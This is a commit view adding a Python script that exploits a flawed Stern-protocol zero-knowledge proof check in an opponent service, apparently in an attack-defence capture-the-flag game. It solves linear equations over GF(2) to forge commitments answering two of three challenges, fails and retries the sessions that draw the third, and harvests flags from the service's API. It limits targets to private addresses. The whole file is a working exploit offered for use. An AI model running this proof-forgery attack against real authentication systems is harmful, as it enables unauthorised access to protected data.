dark-tariff-zkp-exploit
This commit is contained in:
1 parent
6043bc346b
commit
a9d6b64637
1 file changed
+227
@@ -0,0 +1,227 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Dark Tariff ZKP exploit for the authorized MCTF network.
|
||||
|
||||
The service commits to three hashes before choosing a Stern-protocol
|
||||
challenge. With public H and y, a commitment can answer challenges 0 and 1;
|
||||
when challenge 2 is selected the session is deliberately failed and retried.
|
||||
This is intended for the vulnerable opponent service in the CTF only.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import hashlib
|
||||
import ipaddress
|
||||
import json
|
||||
import re
|
||||
import secrets
|
||||
import sys
|
||||
from typing import Any
|
||||
from urllib.parse import urlsplit
|
||||
|
||||
import requests
|
||||
|
||||
|
||||
FLAG_RE = re.compile(r"\b[A-Z0-9]{31}=")
|
||||
DEFAULT_PORT = 8080
|
||||
|
||||
|
||||
def target_host(value: str, default_port: int) -> tuple[str, int]:
|
||||
raw = value.strip()
|
||||
if "://" not in raw:
|
||||
raw = f"http://{raw}"
|
||||
parsed = urlsplit(raw)
|
||||
if not parsed.hostname:
|
||||
raise ValueError("expected HOST or host:port")
|
||||
address = ipaddress.ip_address(parsed.hostname)
|
||||
if not address.is_private:
|
||||
raise ValueError("refusing non-private target")
|
||||
return parsed.hostname, parsed.port or default_port
|
||||
|
||||
|
||||
def bits(value: int, width: int) -> str:
|
||||
return format(value, f"0{width}b")
|
||||
|
||||
|
||||
def parse_parameters(encoded: str) -> tuple[list[int], str, int]:
|
||||
raw = base64.b64decode(encoded).decode("ascii")
|
||||
n_text, matrix_hex, y_text, _weight = raw.split("|", 3)
|
||||
width = int(n_text)
|
||||
matrix = bytes.fromhex(matrix_hex)
|
||||
row_bytes = width // 8
|
||||
if width % 8 or len(matrix) % row_bytes:
|
||||
raise ValueError("malformed public matrix")
|
||||
rows = [int.from_bytes(matrix[i : i + row_bytes], "big")
|
||||
for i in range(0, len(matrix), row_bytes)]
|
||||
if not rows or len(rows) != len(y_text):
|
||||
raise ValueError("matrix/vector dimensions do not match")
|
||||
return rows, y_text, width
|
||||
|
||||
|
||||
def dot(rows: list[int], vector: int) -> str:
|
||||
return "".join(str((row & vector).bit_count() & 1) for row in rows)
|
||||
|
||||
|
||||
def permute(vector: int, width: int, order: list[int]) -> str:
|
||||
text = bits(vector, width)
|
||||
return "".join(text[index] for index in order)
|
||||
|
||||
|
||||
def solve(rows: list[int], target: str, width: int) -> int:
|
||||
"""Find any x such that H*x=target over GF(2)."""
|
||||
equations: list[int] = []
|
||||
for row, rhs in zip(rows, target):
|
||||
# Protocol bit 0 is the leftmost bit; reverse into Python bit order.
|
||||
coefficients = int(format(row, f"0{width}b")[::-1], 2)
|
||||
equations.append(coefficients | (int(rhs) << width))
|
||||
|
||||
pivots: list[tuple[int, int]] = []
|
||||
cursor = 0
|
||||
for column in range(width):
|
||||
pivot = next((i for i in range(cursor, len(equations))
|
||||
if equations[i] & (1 << column)), None)
|
||||
if pivot is None:
|
||||
continue
|
||||
equations[cursor], equations[pivot] = equations[pivot], equations[cursor]
|
||||
pivot_row = equations[cursor]
|
||||
for i in range(cursor + 1, len(equations)):
|
||||
if equations[i] & (1 << column):
|
||||
equations[i] ^= pivot_row
|
||||
pivots.append((cursor, column))
|
||||
cursor += 1
|
||||
if cursor == len(equations):
|
||||
break
|
||||
|
||||
mask = (1 << width) - 1
|
||||
if any((equation & mask) == 0 and ((equation >> width) & 1)
|
||||
for equation in equations):
|
||||
raise ValueError("public parameters are inconsistent")
|
||||
|
||||
solution = 0
|
||||
for row_index, column in reversed(pivots):
|
||||
equation = equations[row_index]
|
||||
rhs = (equation >> width) & 1
|
||||
other = equation & mask & ~(1 << column)
|
||||
if rhs ^ ((other & solution).bit_count() & 1):
|
||||
solution |= 1 << column
|
||||
return int(format(solution, f"0{width}b")[::-1], 2)
|
||||
|
||||
|
||||
def request_json(response: requests.Response) -> Any:
|
||||
try:
|
||||
data = response.json()
|
||||
except ValueError:
|
||||
response.raise_for_status()
|
||||
raise RuntimeError(f"non-JSON response ({response.status_code})")
|
||||
if not response.ok:
|
||||
raise RuntimeError(f"HTTP {response.status_code}: {data}")
|
||||
return data
|
||||
|
||||
|
||||
def flags_in(value: Any) -> set[str]:
|
||||
return set(FLAG_RE.findall(json.dumps(value, ensure_ascii=False)))
|
||||
|
||||
|
||||
def get_readings(session: requests.Session, base: str) -> list[dict[str, Any]]:
|
||||
data = request_json(session.get(f"{base}/api/readings", timeout=8))
|
||||
if not isinstance(data, list):
|
||||
raise RuntimeError("/api/readings did not return a list")
|
||||
readings = [item for item in data
|
||||
if isinstance(item, dict) and item.get("id") and item.get("parameters")]
|
||||
if not readings:
|
||||
raise RuntimeError("target has no fresh readings")
|
||||
return readings
|
||||
|
||||
|
||||
def commit_hash(prefix: str, payload: str) -> str:
|
||||
return hashlib.sha256(f"{prefix}|{payload}".encode("ascii")).hexdigest()
|
||||
|
||||
|
||||
def exploit_reading(session: requests.Session, base: str,
|
||||
reading: dict[str, Any], attempts: int, timeout: float) -> set[str]:
|
||||
rows, y_text, width = parse_parameters(str(reading["parameters"]))
|
||||
reading_id = int(reading["id"])
|
||||
rng = secrets.SystemRandom()
|
||||
found = flags_in(reading)
|
||||
|
||||
for attempt in range(1, attempts + 1):
|
||||
vector0 = secrets.randbits(width)
|
||||
order = list(range(width))
|
||||
rng.shuffle(order)
|
||||
hv = dot(rows, vector0)
|
||||
target = "".join(str(int(a) ^ int(b)) for a, b in zip(hv, y_text))
|
||||
vector1 = solve(rows, target, width)
|
||||
values = [
|
||||
commit_hash("a", ",".join(map(str, order)) + "|" + hv),
|
||||
commit_hash("b", permute(vector0, width, order)),
|
||||
commit_hash("c", permute(vector1, width, order)),
|
||||
]
|
||||
|
||||
start = request_json(session.post(
|
||||
f"{base}/api/chat/checks", json={"reading_id": reading_id}, timeout=timeout))
|
||||
check_id = start["id"]
|
||||
round_no = int(start.get("round", 1))
|
||||
|
||||
while True:
|
||||
commit = request_json(session.post(
|
||||
f"{base}/api/chat/checks/{check_id}/commit",
|
||||
json={"round": round_no, "values": values}, timeout=timeout))
|
||||
challenge = int(commit["challenge"])
|
||||
if challenge == 0:
|
||||
answer = {"v": bits(vector0, width), "p": order}
|
||||
elif challenge == 1:
|
||||
answer = {"v": bits(vector1, width), "p": order}
|
||||
else:
|
||||
# A failed answer deletes the session; then use fresh commits.
|
||||
try:
|
||||
session.post(
|
||||
f"{base}/api/chat/checks/{check_id}/answer",
|
||||
json={"round": round_no,
|
||||
"data": {"v": "0" * width, "t": "0" * width}},
|
||||
timeout=timeout,
|
||||
)
|
||||
finally:
|
||||
print(f"attempt {attempt}: challenge 2, restarting", file=sys.stderr)
|
||||
break
|
||||
|
||||
result = request_json(session.post(
|
||||
f"{base}/api/chat/checks/{check_id}/answer",
|
||||
json={"round": round_no, "data": answer}, timeout=timeout))
|
||||
found.update(flags_in(result))
|
||||
if result.get("stage") == "done":
|
||||
return found
|
||||
if result.get("stage") != "commit":
|
||||
break
|
||||
round_no = int(result["round"])
|
||||
return found
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument("target", help="Neo target HOST or host:port")
|
||||
parser.add_argument("--port", type=int, default=DEFAULT_PORT)
|
||||
parser.add_argument("--max-attempts", type=int, default=100)
|
||||
parser.add_argument("--timeout", type=float, default=8.0)
|
||||
args = parser.parse_args()
|
||||
|
||||
host, port = target_host(args.target, args.port)
|
||||
base = f"http://{host}:{port}"
|
||||
session = requests.Session()
|
||||
session.headers["Accept"] = "application/json"
|
||||
found: set[str] = set()
|
||||
for reading in get_readings(session, base)[:3]:
|
||||
try:
|
||||
found.update(exploit_reading(session, base, reading,
|
||||
args.max_attempts, args.timeout))
|
||||
except (KeyError, ValueError, RuntimeError, requests.RequestException) as exc:
|
||||
print(f"reading {reading.get('id')}: {exc}", file=sys.stderr)
|
||||
if found:
|
||||
print("\n".join(sorted(found)))
|
||||
return 0
|
||||
print("no flags matched; target may already contain the patched ZKP", file=sys.stderr)
|
||||
return 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
Reference in new issue
Block a user